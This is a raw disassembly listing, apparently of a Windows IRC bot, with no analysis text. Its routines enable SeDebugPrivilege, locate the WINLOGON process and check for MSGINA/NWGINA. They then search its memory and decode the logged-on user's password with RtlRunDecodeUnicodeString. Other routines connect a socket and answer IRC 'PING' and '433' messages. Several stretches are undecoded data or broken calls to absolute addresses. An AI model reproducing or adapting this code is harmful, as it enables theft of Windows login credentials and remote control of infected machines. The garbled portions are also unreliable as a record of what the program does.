word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
		dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
		dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 923AE890h, 5E5F022Bh, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 329466E8h, 0C0859002h
		dd 75FF8F75h, 9172E8FCh, 0FF900231h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E8905650h, 23293DFh, 0B175C085h, 90EEE856h
		dd 8B900231h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2690B08h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2770000h
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2670280h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27A0236h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2790C0Dh
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27307D6h
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		nop
		call	near ptr 265092Ah
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2670280h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27A0236h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2790C0Dh
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 2790000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2780000h
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	near ptr 265092Ah
		nop


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 265092Ah
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2780000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2790BA1h
		push	eax
		call	near ptr 2790000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2790BA1h
		push	eax
		call	near ptr 2780000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
